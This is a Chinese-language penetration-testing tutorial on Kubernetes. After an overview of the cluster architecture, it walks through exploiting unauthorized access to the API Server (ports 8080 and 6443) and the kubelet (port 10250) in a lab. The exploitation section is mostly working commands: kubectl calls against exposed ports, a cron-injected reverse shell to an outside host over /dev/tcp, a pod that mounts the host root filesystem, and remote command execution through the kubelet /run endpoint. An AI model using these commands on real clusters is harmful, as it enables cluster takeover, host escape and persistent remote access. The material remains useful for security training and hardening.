K8S 集群架构解释(见上图参考)

Kubernetes 是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用,提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes 在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。

1、Master 终端

2、Node 节点

3、Pod 业务

k8s 主要由以下核心组件组成

  • etcd:保存了整个集群的状态
  • API Server:资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制
  • Controller Manager:负责维护集群的状态,比如故障检测、自动扩展、滚动更新等
  • Scheduler:负责资源的调度,按照预定的调度策略将 Pod 调度到相应的机器上
  • Kubelet:负责维护容器的生命周期,同时也负责 Volume(CVI)和网络(CNI)的管理
  • Container Runtime:负责镜像管理以及 Pod 和容器的真正运行(CRI)
  • Kube-proxy:负责为 Service 提供 Cluster 内部的服务发现和负载均衡

具体参考:https://blog.csdn.net/qq_34101364/article/details/122506768


K8S 集群攻击点 (见上图参考) - 重点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破 → 提权 → 权限维持 → 信息收集 → 横向移动 → 循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

  1. 通过虚拟机攻击云管理平台,利用管理平台控制所有机器
  2. 通过容器进行逃逸,从而控制宿主机以及横向渗透到 K8s Master 节点控制所有容器
  3. 利用 KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的 Kubernetes 威胁矩阵进行扩展,介绍相关的具体攻击方法。

详细攻击点参考:

https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw

https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ


API Server 未授权访问 & kubelet 未授权访问复现

搭建环境使用 3 台 Centos 7,参考:(可看搭建录像)

https://www.jianshu.com/p/25c01cae990c

https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

  • K8s-master 192.168.136.134
  • K8s-node1 192.168.136.135
  • K8s-node2 192.168.136.136

1、攻击 8080 端口:API Server 未授权访问

旧版本的 k8s 的 API Server 默认会开启两个端口:8080 和 6443。

6443 是安全端口,安全端口使用 TLS 加密;但是 8080 端口无需认证,仅用于测试。6443 端口需要认证,且有 TLS 保护。(k8s < 1.16.0)

新版本 k8s 默认已经不开启 8080。需要更改相应的配置

利用条件

  1. Kubernetes 版本小于 v1.20
  2. 8080 端口可访问(配置不当)
cd /etc/kubernetes/manifests/
# 检查是否有
--insecure-port=8080
--insecure-bind-address=0.0.0.0
kubectl.exe -s 192.168.136.134:8080 get nodes
kubectl.exe -s 192.168.136.134:8080 get pods
kubectl -s 192.168.136.134:8080 create -f test.yaml
kubectl -s 192.168.136.134:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.136.132/5566 0>&1\n" >> /mnt/etc/crontab

2、攻击 6443 端口:API Server 未授权访问

一些集群由于鉴权配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,从而使 6443 端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "test02",
    "namespace": "default"
  },
  "spec": {
    "containers": [{
      "image": "nginx:1.14.2",
      "name": "test02",
      "volumeMounts": [{"mountPath": "/host", "name": "host"}]
    }],
    "volumes": [{"hostPath": {"path": "/", "type": "Directory"}, "name": "host"}]
  }
}
kubectl --insecure-skip-tls-verify -s https://192.168.136.134:6443 get pods
kubectl --insecure-skip-tls-verify -s https://192.168.136.134:6443 --namespace=default exec -it podname bash

3、攻击 10250 端口:kubelet 未授权访问

https://192.168.136.134:10250/pods

修改 /var/lib/kubelet/config.yaml

authentication:
  anonymous:
    enabled: true
authorization:
  mode: AlwaysAllow
systemctl restart kubelet
  • 利用执行命令需要三个参数:namespace、pod、container
https://192.168.136.132:10250/runningpods/
curl -XPOST -k "https://192.168.136.134:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

示例:

curl -XPOST -k "https://192.168.136.134:10250/run/kube-system/etcd-k8smaster/etcd" -d "cmd=id"